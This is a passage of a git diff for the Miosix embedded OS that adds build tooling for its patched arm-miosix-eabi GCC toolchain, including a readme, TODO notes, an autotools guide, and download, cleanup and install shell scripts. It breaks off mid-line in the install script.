one behind `--target2=abs`) except it does not leave dynamic relocations behind and subtracts DATA_BASE), making a true data-rel static relocation encoding the offset of the symbol from the data base address. + +And that, finally, worked. + + + + +## Caveat fot future patchers + +If you do an `arm-miosix-eaby-objdump -Dslx main.bin` (of course before it's stripped and mx-postlinked), the start of the disassembly is something like + +``` +Program Header: + LOAD off 0x00000098 vaddr 0x00000098 paddr 0x00000098 align 2**3 + filesz 0x00004fcc memsz 0x00004fcc flags r-x + LOAD off 0x00005068 vaddr 0x40000000 paddr 0x40000000 align 2**3 + filesz 0x00000640 memsz 0x00000840 flags rw- + DYNAMIC off 0x000050f8 vaddr 0x40000090 paddr 0x40000090 align 2**2 + filesz 0x00000048 memsz 0x00000048 flags rw- + +Dynamic Section: + DEBUG 0x00000000 + REL 0x00004564 + RELSZ 0x00000b00 + RELENT 0x00000008 + FLAGS_1 0x08000000 + RELCOUNT 0x00000001 +private flags = 5000200: [Version5 EABI] [soft-float ABI] +``` + +which is more useful than it looks, as it allows to see if the binary is good looking. Sometimes innocuous-looking changes in the linker script such as renaming an output section trigger special behavior in the linker with strange side effects, such as adding useless entries to dynamic (such as if you call an output section `.init_array`), adding useless nested segments (such as calling an output section `.ARM.exidx`), or making the text segment writable, which then Miosix will of course fail to load as it violates `W^X`. So do check those when making changes! + + + + + +## Addendum + +How to recompile GCC only (not the stdlibs) for quick experiments + +``` +INSTALL_DIR=`pwd`/gcc/arm-miosix-eabi +LIB_DIR=`pwd`/lib +PATH=$INSTALL_DIR/bin:$PATH +cd objdir +make all-gcc +make install-gcc +``` diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gcc.patch b/tools/compiler/gcc-9.2.0-mp3.2/patches/gcc.patch similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gcc.patch rename to tools/compiler/gcc-9.2.0-mp3.2/patches/gcc.patch diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gcc_mac_arm64.patch b/tools/compiler/gcc-9.2.0-mp3.2/patches/gcc_mac_arm64.patch similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gcc_mac_arm64.patch rename to tools/compiler/gcc-9.2.0-mp3.2/patches/gcc_mac_arm64.patch diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gdb.patch b/tools/compiler/gcc-9.2.0-mp3.2/patches/gdb.patch similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gdb.patch rename to tools/compiler/gcc-9.2.0-mp3.2/patches/gdb.patch diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gmp_arm64.patch b/tools/compiler/gcc-9.2.0-mp3.2/patches/gmp_arm64.patch similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/gmp_arm64.patch rename to tools/compiler/gcc-9.2.0-mp3.2/patches/gmp_arm64.patch diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/newlib.patch b/tools/compiler/gcc-9.2.0-mp3.2/patches/newlib.patch similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/newlib.patch rename to tools/compiler/gcc-9.2.0-mp3.2/patches/newlib.patch diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/ramdisk.sh b/tools/compiler/gcc-9.2.0-mp3.2/ramdisk.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/ramdisk.sh rename to tools/compiler/gcc-9.2.0-mp3.2/ramdisk.sh diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/uninstall.sh b/tools/compiler/gcc-9.2.0-mp3.2/uninstall.sh old mode 100644 new mode 100755 similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/uninstall.sh rename to tools/compiler/gcc-9.2.0-mp3.2/uninstall.sh diff --git a/tools/compiler/gcc-9.2.0-mp3.4/.gitignore b/tools/compiler/gcc-9.2.0-mp3.4/.gitignore new file mode 100644 index 000000000..9db1184e8 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/.gitignore @@ -0,0 +1,18 @@ +downloaded +objdir +newlib-obj +lib +gcc +dist +log +binutils-* +gcc-* +gdb-* +gmp-* +mpc-* +mpfr-* +newlib-* +expat-* +lpc21isp.c +# Generated by install-script.sh during local builds +env.sh diff --git a/tools/compiler/gcc-9.2.0-mp3.4/Readme.txt b/tools/compiler/gcc-9.2.0-mp3.4/Readme.txt new file mode 100644 index 000000000..81dac48c3 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/Readme.txt @@ -0,0 +1,79 @@ +This is the readme for installing the arm-miosix-eabi-gcc compiler, +required to build Miosix. +Currently this can only be done on Linux, even when compiling a +compiler that will work for Windows. +=================================================================== + + +Step 1 +------ +Copy this folder in a path without spaces, or compiling will fail. +Example: +/home/foo/temp OK +/home/foo/directory with spaces/temp NO!! + + +Step 2 +------ +Install the following dependencies: +gcc, g++, make, ncurses, byacc, flex, texinfo, patch, tar, unzip, lzip, libelf perl libexpat + +For example, for Ubuntu/Kubuntu open a shell and type: +sudo apt-get install gcc g++ make libncurses5-dev byacc flex texinfo patch tar unzip lzip libelf-dev perl libexpat1-dev + +While on Fedora: +sudo dnf install gcc gcc-c++ make ncurses-devel byacc flex texinfo patch tar unzip lzip elfutils-libelf-devel perl expat-devel + +Note: these scripts require "sudo" unless you want to intall the compiler locally. +If you use a distro like Fedora where sudo is not enabled by default, use "visudo" to enable sudo for your account. + +Step 3 +------ +Download the the required sources with the download script: + +./download.sh + + +Step 4 +------ +After meeting these prerequisites, install: + +./install-script.sh -j`nproc` +./cleanup.sh + +Both scripts will prompt for root password at some point. It is normal, +since they need to write in /opt and /usr/bin. +The cleanup script won't remove the compressed files downloaded with the +download script. You might want to do so manually to save space on your disk. + + +Step 5 +------ +Test the compiler by typing in a shell + +arm-miosix-eabi-gcc -v + +If you get something like + +bash: arm-miosix-eabi-gcc: command not found + +it means something did not work. + + +Step 6 +------ +If required, also install OpenOCD for in circuit debugging. +There are no scripts for doing that, since it is rather independent on the +gcc version. On many distros it is also available thrugh package managers, +for example on Ubuntu/Kubuntu you can install it with + +sudo apt-get install openocd + +Uninstalling the compiler +========================= +In case you need to uninstall the compiler (perhaps because you need to install +an upgraded version as part of a new Miosix release) you can run the + +./uninstall.sh + +script. diff --git a/tools/compiler/gcc-9.2.0-mp3.4/TODO b/tools/compiler/gcc-9.2.0-mp3.4/TODO new file mode 100644 index 000000000..494bf9e4a --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/TODO @@ -0,0 +1,91 @@ + +miosix/stdlib_integration/libstdcpp_integration.cpp:48:#warning: TODO: FIX __gthread_key_t in libstdc++/include/std/memory_resource + +add this to newlib options? +--disable-newlib-wide-orient + +Add libsyscalls to the compiler and have gcc link with it be default by +creating a specs file, remove stubs.c in newlib. Also, build newlib without +libnosys and the other unused stub libraries. + +Reduce MAXNAMLEN in newlib from 1024 to 256, it is used to allocate a buffer +on the stack in newlib/libc/posix/execvp.c + +Make ino_t a long long, to support, e.g, greater than 128GByte SD cards. +Would require changes to the filesystems meant to support very large disks, such +as fat32 too. + +Fix newlib so that the lstat syscall function prototype is made available, +and maybe add prototype for _lstat_r too + +Update sys/lock.h make pthread_mutex_t compatible with future decisions to +replace the custom list with IntrusiveList. +Update _pthreadtypes.h removing the forward declaration of WaitingList and +change pthread_cond_t to be two opaque pointers, comment that it should have +a memory layout compatible with IntrusiveList. + +In libstdc++ header condition_variable the __wait_until_impl checks for timeout +in this way: +__gthread_cond_timedwait(&_M_cond, __lock.mutex()->native_handle(), &__ts); +return (__clock_t::now() < __atime ? cv_status::no_timeout : cv_status::timeout); +use the return value of pthread_cond_timedwait instead to optimize code + +In libstdc++ header condition_variable condition_variable::wait_for calls both clock_gettime(CLOCK_REALTIME... and clock_gettime(CLOCK_MONOTONIC... +This is not needed as pthread_cond_timedwait in Miosix refuses to follow the +(broken) standard on purpose and accepts the timeout directly in terms of +CLOCK_MONOTONIC. +defiitions are in time.h, CLOCK_REALTIME is 1, wile CLOCK_MONOTONIC is 4 +Some test code: + +#include +#include +#include +#include +#include +#include +#include "miosix.h" + +using namespace std; +using namespace std::chrono; +using namespace miosix; + +mutex t25_m1; +condition_variable t25_c1; + +void fail(const char *s) { iprintf("Fail %s\n",s); for(;;) ; } + +int main() +{ + { + unique_lock l(t25_m1); + auto a=chrono::steady_clock::now().time_since_epoch().count(); + if(t25_c1.wait_for(l,10ms)!=cv_status::timeout) fail("timedwait (1)"); + auto b=chrono::steady_clock::now().time_since_epoch().count(); + //iprintf("delta=%lld\n",b-a-10000000); + if(llabs(b-a-10000000)>200000) fail("timedwait (2)"); + } + { + unique_lock l(t25_m1); + auto start=chrono::steady_clock::now(); + auto a=start.time_since_epoch().count(); + if(t25_c1.wait_until(l,start+10ms)!=cv_status::timeout) fail("timedwait (3)"); + auto b=chrono::steady_clock::now().time_since_epoch().count(); + //iprintf("delta=%lld\n",b-a-10000000); + if(llabs(b-a-10000000)>200000) fail("timedwait (4)"); + } + { + thread t([]{ + this_thread::sleep_for(30ms); + t25_c1.notify_one(); + }); + auto a=chrono::steady_clock::now().time_since_epoch().count(); + unique_lock l(t25_m1); + if(t25_c1.wait_for(l,100ms)!=cv_status::no_timeout) fail("timedwait (5)"); + auto b=chrono::steady_clock::now().time_since_epoch().count(); + //iprintf("delta=%lld\n",b-a-30000000); + if(llabs(b-a-30000000)>500000) fail("timedwait (6)"); + t.join(); + } + + for(;;) ; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.4/autotools/Autohell.txt b/tools/compiler/gcc-9.2.0-mp3.4/autotools/Autohell.txt new file mode 100644 index 000000000..ac041508b --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/autotools/Autohell.txt @@ -0,0 +1,85 @@ + +One way ticket to (autotools) hell and back. +============================================ + +A quick guide on how to make autotools work well enough in newlib to make patches. + +First of all the main part of the solution: autoreconf + +When adding new source files to a directory, use + +$ autoreconf --no-recursive +$ find . -name autom4te.cache | xargs rm -rf + +The first command does the job. The --no-recursive option is to prevent it +from trying to 'fix' configure files in all subdirectories. The second +command removes all temporary files generated by the first. + +When adding a new directory with source files, you've got to add a configure.in +and Makefile.am, by copying them from another directory and tweaking them. +Then, go up one directory, open configure.in and add AC_CONFIG_SUBDIRS(newdir) +where newdir is the new directory. After that, do a + +$ autoreconf +$ find . -name autom4te.cache | xargs rm -rf + +Is this all? No, obviously. First of all, a small notice: never do an +autoreconf in the top level directory. At most do an autoreconf in the +newlib subdirectory. + +Then, the big trouble: autoconf and automake, the two tools behind all this +autoconfiguration magic are neither forward nor backward compatible. If you +try to autoreconf with a different version than the one used in newlib, +they'll try to heavily modify each and every configure they come across, +resulting in a diff from the previous version of several megabytes. + +So, you've got to download the exact version of autoconf and automake, +make an autotools directory, copy the autoconf and automake of the exact +version taken from the GNU website, and then + +wget https://ftpmirror.gnu.org/autoconf/autoconf-2.69.tar.gz +wget https://ftpmirror.gnu.org/automake/automake-1.15.1.tar.gz +mkdir autobins +PFX=`pwd`/autobins +tar xvf autoconf-2.69.tar.gz +cd autoconf-2.69 +./configure --prefix=$PFX +make +make install +cd .. +tar xvf automake-1.15.1.tar.gz +cd automake-1.15.1 +./configure --prefix=$PFX +make +make install +cd .. +export PATH=`pwd`/autobins/bin:$PATH + + +cd ../autobins/share +rm -rf aclocal +ln -s `pwd`/aclocal-1.15 aclocal +cd - +Note that the last command is necessary because during installation an +aclocal-1.11 directory is created, but the scripts expect an aclocal directory. +Essentially, the make install of automake is broken, go figure... + +After that, before running autoreconf do an export PATH=:$PATH, where + is the bin directory where autoconf and automake were installed. + +But wait, there's more fail! +The old autotools scripts fail to run with the new perl interpreter... + +$ automake --version +Unescaped left brace in regex is illegal here in regex; marked by <-- HERE in m/\${ <-- HERE ([^ \t=:+{}]+)}/ at /home/fede/Documents/programmazione/miosix/newcompiler/compiler/autotools/autobins/bin/automake line 4159. + +If it does so, fix it like this: +http://gnu-automake.7480.n7.nabble.com/bug-23602-Unescaped-left-brace-in-regex-is-deprecated-passed-through-in-regex-td22201.html + +sub substitute_ac_subst_variables ($) +{ + my ($text) = @_; +# $text =~ s/\${([^ \t=:+{}]+)}/&substitute_ac_subst_variables_worker ($1)/ge; + $text =~ s/\$\{([^ \t=:+{}]+)\}/substitute_ac_subst_variables_worker ($1)/ge; + return $text; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.4/cleanup.sh b/tools/compiler/gcc-9.2.0-mp3.4/cleanup.sh new file mode 100755 index 000000000..885e4be08 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/cleanup.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash + +# After running install-script.sh, this script will clean up temporary files. +# It will not remove the files created by the download.sh script, so that +# running install-script.sh is possible without re-downloading them. + +rm -rf binutils-2.32 gcc-9.2.0 gdb-9.1 gdb-obj newlib-3.1.0 newlib-obj \ + gmp-6.2.1 mpfr-4.0.2 mpc-1.1.0 make-4.2.1 expat-2.2.10 ncurses-6.1 \ + makeself-2.4.5 lib quickfix lpc21isp.c + +rm -rf objdir/ log/ +if [[ $? -ne 0 ]]; then + sudo rm -rf objdir/ log/ +fi + +# Installer scripts generated by the build scripts on macOS +rm -rf installers/macos/Scripts diff --git a/tools/compiler/gcc-9.2.0-mp3.4/download.sh b/tools/compiler/gcc-9.2.0-mp3.4/download.sh new file mode 100755 index 000000000..36d841439 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/download.sh @@ -0,0 +1,22 @@ +#!/bin/sh + +# This simple script will download all the required source files +# for compiling arm-miosix-eabi-gcc + +mkdir downloaded || exit +cd downloaded + +# macOS does not ship with wget, check if it exists and otherwise use curl +if command -v wget > /dev/null; then + WGET=wget +else + WGET='curl -LO' +fi + +$WGET https://ftpmirror.gnu.org/binutils/binutils-2.32.tar.xz +$WGET https://ftpmirror.gnu.org/gcc/gcc-9.2.0/gcc-9.2.0.tar.xz +$WGET ftp://sourceware.org/pub/newlib/newlib-3.1.0.tar.gz +$WGET https://ftpmirror.gnu.org/gdb/gdb-9.1.tar.xz +$WGET https://ftpmirror.gnu.org/gmp/gmp-6.2.1.tar.xz +$WGET https://ftpmirror.gnu.org/mpfr/mpfr-4.0.2.tar.xz +$WGET https://ftpmirror.gnu.org/mpc/mpc-1.1.0.tar.gz diff --git a/tools/compiler/gcc-9.2.0-mp3.4/install-script.sh b/tools/compiler/gcc-9.2.0-mp3.4/install-script.sh new file mode 100755 index 000000000..4bb5f2e31 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/install-script.sh @@ -0,0 +1,761 @@ +#!/usr/bin/env bash + +# Script to build the gcc compiler required for Miosix. +# Usage: ./install-script -j`nproc` +# The -j parameter is passed to make for parallel compilation +# +# Building Miosix is officially supported only through the gcc compiler built +# with this script. This is because this script patches the compiler. +# Starting from Miosix 1.58 the use of the arm-miosix-eabi-gcc compiler built +# by this script has become mandatory due to patches related to posix threads +# in newlib. The kernel *won't* compile unless the correct compiler is used. +# +# Starting from 04/2014 this script is also used to build binary releases +# of the Miosix compiler for both linux and windows. Most users will want to +# download the binary relase from http://miosix.org instead of compiling GCC +# using this script. +# +# This script will install arm-miosix-eabi-gcc in /opt, creating links to +# binaries in /usr/bin. +# It should be run without root privileges, but it will ask for the root +# password when installing files to /opt and /usr/bin + +#### Configuration tunables -- begin #### + +__GCCPATCUR='3.4' # Can't autodetect this one easily from gcc.patch + +# Uncomment if installing globally on this system +PREFIX=/opt/arm-miosix-eabi +DESTDIR= +SUDO=sudo +# Uncomment if installing locally on this system, sudo isn't necessary +#PREFIX=`pwd`/gcc/arm-miosix-eabi +#DESTDIR= +#SUDO= +# Uncomment for producing a package for redistribution. The prefix is set to the +# final install directory, but when this script does "make install" files are +# copied with $DESTDIR as prefix. When doing a redistibutable build you also +# have to specify HOST or (on Mac OS), BUILD, see below. +# When compiling the Windows installer, do not change the default values! +# WARNING: Please note that since the already installed version of +# arm-miosix-eabi-gcc is used to build the standard libraries, it +# MUST BE THE EXACT SAME VERSION, including miosix-specific patches. Thus when +# adding new patches you need to first install the new compiler system-wide and +# only after that build the redistributable one +#PREFIX=/opt/arm-miosix-eabi +#DESTDIR=`pwd`/dist +#SUDO= + +# Uncomment if targeting a local install. This will use -march= -mtune= flags +# to optimize for your processor, but the code won't be portable to other +# architectures, so don't distribute it +BUILD= +HOST= +# Uncomment if targeting linux 64 bit (distributable) +#BUILD= +#HOST=x86_64-linux-gnu +# Uncomment if targeting windows 64 bit (distributable) +# You have to run this script from Linux anyway (see canadian cross compiling). +# Must first install the mingw-w64 toolchain. +#BUILD= +#HOST=x86_64-w64-mingw32 +# Uncomment if targeting macOS 64 bit Intel (distributable), compiling on Linux +# Must first install the osxcross toolchain +#BUILD= +#HOST=x86_64-apple-darwin18 +# Uncomment if targeting macOS 64 bit Intel (distributable), compiling on macOS. +# The script must be run under macOS and without canadian cross compiling +# because it confuses autotools's configuration scripts. Instead we set the +# compiler options for macOS minimum version and architecture in order to be +# able to deploy the binaries on older machines and OS versions. We also must +# force --build and --host to specify a x86_64 cpu to avoid +# architecture-dependent code. +#BUILD=x86_64-apple-darwin17 +#HOST= +#export CFLAGS='-mmacos-version-min=10.13 -O3' +#export CXXFLAGS='-mmacos-version-min=10.13 -O3' +# Uncomment if targeting macOS 64 bit ARM64 (distributable). +# Run the script under arm64 macOS. +#BUILD=aarch64-apple-darwin20 +#HOST= +#export CFLAGS='-mmacos-version-min=11.0 -O3' +#export CXXFLAGS='-mmacos-version-min=11.0 -O3' + +#### Configuration tunables -- end #### + +# Libraries are compiled statically, so they are never installed in the system +LIB_DIR=`pwd`/lib + +# Program versions +BINUTILS=binutils-2.32 +GCC=gcc-9.2.0 +NEWLIB=newlib-3.1.0 +GDB=gdb-9.1 +GMP=gmp-6.2.1 +MPFR=mpfr-4.0.2 +MPC=mpc-1.1.0 +NCURSES=ncurses-6.1 +MAKE=make-4.2.1 +MAKESELF=makeself-2.4.5 +EXPAT=expat-2.2.10 + +quit() { + echo $1 + exit 1 +} + +# Is it a redistributable build? +if [[ $DESTDIR ]]; then + if [[ $SUDO ]]; then + quit ":: Error global install distributable compiling are mutually exclusive" + fi + if [[ $(uname -s) == 'Darwin' ]]; then + if [[ -z $BUILD ]]; then + quit ":: Error distributable compiling but no BUILD specifed" + fi + else + if [[ -z $HOST ]]; then + quit ":: Error distributable compiling but no HOST specifed" + fi + fi + # Since we do not install the bootstrapped arm-miosix-eabi-gcc during the + # build process, for making libc, libstdc++, ... we need the same version of + # arm-miosix-eabi-gcc that we are going to compile already installed locally + # in the system from which we are compiling. + __GCCVER=`arm-miosix-eabi-gcc --version | perl -ne \ + 'next unless(/(\d+\.\d+.\d+)/); print "gcc-$1\n";'`; + __GCCPAT=`arm-miosix-eabi-gcc -dM -E - < /dev/null | perl -e \ + 'my $M, my $m; + while(<>) { + $M=$1 if(/_MIOSIX_GCC_PATCH_MAJOR (\d+)/); + $m=$1 if(/_MIOSIX_GCC_PATCH_MINOR (\d+)/); + } + print "mp$M.$m";'`; + if [[ ($__GCCVER != $GCC) || ($__GCCPAT != "mp${__GCCPATCUR}") ]]; then + quit ":: Error must first install ${GCC}mp${__GCCPATCUR} system-wide" + fi + if [[ ! -e $PREFIX/bin/arm-miosix-eabi-gcc ]]; then + quit ":: Error To use \$DESTDIR you must first install ${GCC}mp${__GCCPATCUR} in the same prefix" + fi +else + if [[ $HOST || $BUILD ]]; then + # NOTE: doing a non redistributable build but specifying HOST or BUILD + # may work, but is untested. Remove this line if you want to try. + quit ":: Specifying either HOST or BUILD without DESTDIR is not supported" + fi + # For local builds assume there's no existing miosix compiler installed, + # add the install prefix to the path in order to ensure tools are available + # as soon as we build them. + export PATH=$PREFIX/bin:$PATH +fi + +# Are we canadian cross compiling? +if [[ $HOST ]]; then + # Canadian cross compiling requires the compiler for the host machine + which "$HOST-gcc" > /dev/null || quit ":: Error must have host cross compiler" + + HOSTCC="$HOST-gcc" + HOSTSTRIP="$HOST-strip" + if [[ $HOST == *mingw* ]]; then + HOSTCXX="$HOST-g++ -static -s" # For windows not to depend on libstdc++.dll + EXT=".exe" + else + HOSTCXX="$HOST-g++" + EXT= + fi +else + HOSTCC=gcc + HOSTCXX=g++ + HOSTSTRIP=strip + EXT= +fi + +if [[ $1 == '' ]]; then + PARALLEL="-j1" +else + PARALLEL=$1; +fi + +# +# Part 1/2: extract data, apply patches +# + +extract() +{ + label=$1 + filename=$2 + shift 2 + directory=${filename%.tar*} + + if [[ -e $directory ]]; then + echo "Skipping extraction/patching of $label, directory $directory exists" + else + echo "Extracting $label..." + tar -xf "downloaded/$filename" || quit ":: Error extracting $label" + for patchfile in $@; do + echo "Applying ${patchfile}..." + patch -p0 < "$patchfile" || quit ":: Failed patching $label" + done + fi +} + +extract 'binutils' $BINUTILS.tar.xz patches/binutils.patch +if [[ ( $(uname -s) == 'Darwin' ) && ( $(uname -m) == 'arm64' ) ]]; then + extract 'gcc' $GCC.tar.xz patches/gcc.patch patches/libgomp-fix-crash.patch patches/gcc_mac_arm64.patch +else + extract 'gcc' $GCC.tar.xz patches/gcc.patch patches/libgomp-fix-crash.patch +fi +extract 'newlib' $NEWLIB.tar.gz patches/newlib.patch +extract 'gdb' $GDB.tar.xz patches/gdb.patch +extract 'gmp' $GMP.tar.xz patches/gmp_arm64.patch +extract 'mpfr' $MPFR.tar.xz +extract 'mpc' $MPC.tar.gz + +if [[ $HOST == *mingw* ]]; then + extract 'make' $MAKE.tar.gz +fi +if [[ $HOST == *linux* ]]; then + extract 'ncurses' $NCURSES.tar.gz +fi +if [[ $DESTDIR ]]; then + extract 'expat' $EXPAT.tar.xz +fi + +unzip -o lpc21isp_148_src.zip || quit ":: Error extracting lpc21isp" +mkdir log + +# +# Part 3: compile libraries +# + +cd $GMP + +if [[ $HOST ]]; then + # GMP's configure script is bugged and does not properly handle canadian cross + # compiling, so we need to properly inform it manually by setting these + # environment variables. See also: https://gmplib.org/list-archives/gmp-discuss/2020-July/006519.html + export CC_FOR_BUILD='gcc' + export CPP_FOR_BUILD='g++' +fi + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + 2> ../log/z.gmp.a.txt || quit ":: Error configuring gmp" + +make all $PARALLEL 2>../log/z.gmp.b.txt || quit ":: Error compiling gmp" + +if [[ ! $HOST ]]; then + # Don't check if cross-compiling + make check $PARALLEL 2> ../log/z.gmp.c.txt || quit ":: Error testing gmp" +fi + +make install 2>../log/z.gmp.d.txt || quit ":: Error installing gmp" + +if [[ $HOST ]]; then + unset CC_FOR_BUILD + unset CPP_FOR_BUILD +fi + +cd .. + +cd $MPFR + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + --with-gmp=$LIB_DIR \ + 2> ../log/z.mpfr.a.txt || quit ":: Error configuring mpfr" + +make all $PARALLEL 2>../log/z.mpfr.b.txt || quit ":: Error compiling mpfr" + +if [[ ! $HOST ]]; then + # Don't check if cross-compiling + make check $PARALLEL 2> ../log/z.mpfr.c.txt || quit ":: Error testing mpfr" +fi + +make install 2>../log/z.mpfr.d.txt || quit ":: Error installing mpfr" + +cd .. + +cd $MPC + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --prefix=$LIB_DIR \ + --enable-static --disable-shared \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + 2> ../log/z.mpc.a.txt || quit ":: Error configuring mpc" + +make all $PARALLEL 2>../log/z.mpc.b.txt || quit ":: Error compiling mpc" + +if [[ ! $HOST ]]; then + # Don't check if cross-compiling for windows + make check $PARALLEL 2> ../log/z.mpc.c.txt || quit ":: Error testing mpc" +fi + +make install 2>../log/z.mpc.d.txt || quit ":: Error installing mpc" + +cd .. + +# +# Part 4: compile and install binutils +# + +cd $BINUTILS + +./configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --enable-interwork \ + --enable-multilib \ + --enable-lto \ + --disable-werror 2>../log/a.txt || quit ":: Error configuring binutils" + +make all $PARALLEL 2>../log/b.txt || quit ":: Error compiling binutils" + +$SUDO make install DESTDIR=$DESTDIR 2>../log/c.txt || quit ":: Error installing binutils" + +cd .. + +# +# Part 5: compile and install gcc-start +# + +mkdir objdir +cd objdir + +# GCC needs the C headers of the target to configure and build the C++ standard +# library, therefore when configured --with-headers=[...] the configure script +# unconditionally copies those headers in the +# $PREFIX/arm-miosix-eabi/sys-include folder. +# This is fine for local installs, (up to a certain point, see later +# comments), but for distributable builds we already have the headers in +# $PREFIX/arm-miosix-eabi/include (not in sys-include!) and we don't want to +# touch the existing install. +# However the GCC makefiles are not clever enough to search in `include` +# rather than `sys-include` when checking if limits.h exists to decide whether +# to "fix" it. Since `sys-include` does not exists, GCC does not find limits.h +# and replaces it with its own, which does not include all definitions made +# by newlib's one. This incorrect file ends up installed and used by the +# built GCC causing build failures usually related to missing defines used +# by dirent.h. +# Therefore we must differentiate the case in which we are installing +# or building for redistribution. When we build for redistribution we use +# --with-sysroot and --with-native-system-header-dir to instruct the GCC +# configure script to set CROSS_SYSTEM_HEADER_DIR to the place where we already +# have our headers available, without attempting to copy stuff in $PREFIX. +if [[ $DESTDIR ]]; then + __GCC_CONF_HEADERS_PARAM="--with-sysroot=$PREFIX/arm-miosix-eabi --with-native-system-header-dir=/include" +else + __GCC_CONF_HEADERS_PARAM=--with-headers=../$NEWLIB/newlib/libc/include +fi + +$SUDO ../$GCC/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --with-gmp=$LIB_DIR \ + --with-mpfr=$LIB_DIR \ + --with-mpc=$LIB_DIR \ + MAKEINFO=missing \ + --prefix=$PREFIX \ + --disable-shared \ + --disable-libssp \ + --disable-nls \ + --enable-libgomp \ + --disable-libstdcxx-pch \ + --disable-libstdcxx-dual-abi \ + --disable-libstdcxx-filesystem-ts \ + --enable-threads=miosix \ + --enable-languages="c,c++" \ + --enable-lto \ + --disable-wchar_t \ + --with-newlib \ + ${__GCC_CONF_HEADERS_PARAM} \ + --with-pkgversion="GCC_mp${__GCCPATCUR}" \ + 2>../log/d.txt || quit ":: Error configuring gcc-start" + +$SUDO make all-gcc $PARALLEL 2>../log/e.txt || quit ":: Error compiling gcc-start" + +$SUDO make install-gcc DESTDIR=$DESTDIR 2>../log/f.txt || quit ":: Error installing gcc-start" + +if [[ -z $DESTDIR ]]; then + # Remove the sys-include directory if we are installing locally. + # There are two reasons why to remove it: first because it is unnecessary, + # second because it is harmful. + # After gcc is compiled, the installation of newlib places the headers in the + # include dirctory and at that point the sys-include headers aren't necessary anymore + # Now, to see why the're harmful, consider the header newlib.h It is initially + # empty and is filled in by the newlib's ./configure with the appropriate options + # Now, since the configure process happens after, the newlib.h in sys-include + # is the wrong (empty) one, while the one in include is the correct one. + # This causes troubles because newlib.h contains the _WANT_REENT_SMALL used to + # select the appropriate _Reent struct. This error is visible to user code since + # GCC seems to take the wrong newlib.h and user code gets the wrong _Reent struct + $SUDO rm -rf $PREFIX/arm-miosix-eabi/sys-include + + # Another fix, looks like export PATH isn't enough for newlib, it fails + # running arm-miosix-eabi-ranlib when installing + if [[ $SUDO ]]; then + # This is actually done also later, but we don't want to add a symlink too + $SUDO rm $PREFIX/bin/arm-miosix-eabi-$GCC$EXT + + # Linking to /usr/bin does not work on macOS because of SIP, but newlib + # appears to build just fine with export PATH on macOS... + if [[ ! ( $(uname -s) == 'Darwin' ) ]]; then + $SUDO ln -s $DESTDIR$PREFIX/bin/* /usr/bin + fi + fi +fi + +cd .. + +# +# Part 6: compile and install newlib +# + +mkdir newlib-obj +cd newlib-obj + +../$NEWLIB/configure \ + --build=$BUILD \ + --host=$HOST \ + --target=arm-miosix-eabi \ + --prefix=$PREFIX \ + --enable-multilib \ + --enable-newlib-reent-small \ + --enable-newlib-multithread \ + --enable-newlib-io-long-long \ + --disable-newlib-io-c99-formats \ + --disable-newlib-io-long-double \ + --disable-newlib-io-pos-args \ + --disable-newlib-mb \ + --disable-newlib-supplied-syscalls \ + 2>../log/g.txt || quit ":: Error configuring newlib" + +make $PARALLEL 2>../log/h.txt || quit ":: Error compiling newlib" + +$SUDO make install DESTDIR=$DESTDIR 2>../log/i.txt || quit ":: Error installing newlib" + +cd .. + +# +# Part 7: compile and install gcc-end +# + +cd objdir + +$SUDO make all $PARALLEL 2>../log/j.txt || quit ":: Error compiling gcc-end" + +$SUDO make install DESTDIR=$DESTDIR 2>../log/k.txt || quit ":: Error installing gcc-end" + +cd .. + +# +# Part 8: Fixup and verify multilibs +# + +# 8A: remove root multilib. +# GCC apparently assumes that when no appropriate multilib is found, it is +# always safe to link without multilibs (i.e. with the libraries found directly +# in /lib). However, for the ARM architecture this assumption is completely +# wrong, due to (1) the presence of 3 mutually incompatible instruction sets +# (ARM, Thumb and Thumb2) and (2) the fact that the default compilation options +# build for an extremely old configuration (-mcpu=arm7tdmi -marm) which produces +# code not runnable on any modern ARM microcontroller CPU. +# This line removes all the libraries not included in a multilib to prevent +# GCC from producing broken binaries silently. +# As a result, the use of compilation options not supported by the toolchain +# will result in a link-time failure to find the libraries, hinting that +# something is wrong. + +echo "::Deleting root multilibs" +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.specs +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.o +$SUDO rm "$DESTDIR$PREFIX/arm-miosix-eabi/lib"/*.a +$SUDO rm 